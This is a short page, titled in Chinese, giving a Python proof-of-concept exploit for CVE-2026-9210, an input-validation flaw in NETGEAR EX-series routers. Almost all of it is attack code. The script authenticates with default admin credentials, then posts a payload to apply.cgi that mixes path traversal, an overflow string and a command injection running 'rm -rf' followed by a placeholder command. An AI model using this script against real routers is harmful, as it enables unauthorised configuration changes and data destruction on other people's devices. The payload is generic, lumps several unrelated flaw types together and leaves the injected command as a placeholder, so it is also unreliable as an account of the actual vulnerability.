CVE-2026-9210：NETGEAR路由器输入验证不足漏洞

# CVE-2026-9210 PoC - NETGEAR Input Validation Vulnerability # Exploits insufficient input validation in NETGEAR EX3700/EX3800/EX6120/EX6130 # Requires authenticated admin access on the local network import requests import sys TARGET_HOST = "http://192.168.1.1" # Default NETGEAR router IP ADMIN_USER = "admin" ADMIN_PASS = "password" # Obtained credentials # Malicious payload exploiting input validation flaw # Crafted to modify router configuration via insufficiently validated input MALICIOUS_PAYLOAD = { "action": "apply", "config_name": "wireless_settings", "ssid": "../../etc/passwd\x00" + "A" * 4096, # Buffer overflow + path traversal "channel": "; rm -rf /tmp/config_backup; <injected_cmd>", "security_mode": "WPA2" * 256, } def exploit(): session = requests.Session() # Step 1: Authenticate as administrator login_url = f"{TARGET_HOST}/login.cgi" login_data = {"username": ADMIN_USER, "password": ADMIN_PASS} resp = session.post(login_url, data=login_data) if resp.status_code != 200: print("[-] Login failed") sys.exit(1) print("[+] Authenticated as admin") # Step 2: Send malicious request to vulnerable endpoint vuln_endpoint = f"{TARGET_HOST}/apply.cgi" resp = session.post(vuln_endpoint, data=MALICIOUS_PAYLOAD) print(f"[+] Exploit response status: {resp.status_code}") # Step 3: Verify unauthorized modification check_url = f"{TARGET_HOST}/status.cgi" resp = session.get(check_url) if "modified" in resp.text.lower(): print("[+] Router configuration successfully modified!") else: print("[-] Exploit may have failed") if __name__ == "__main__": exploit()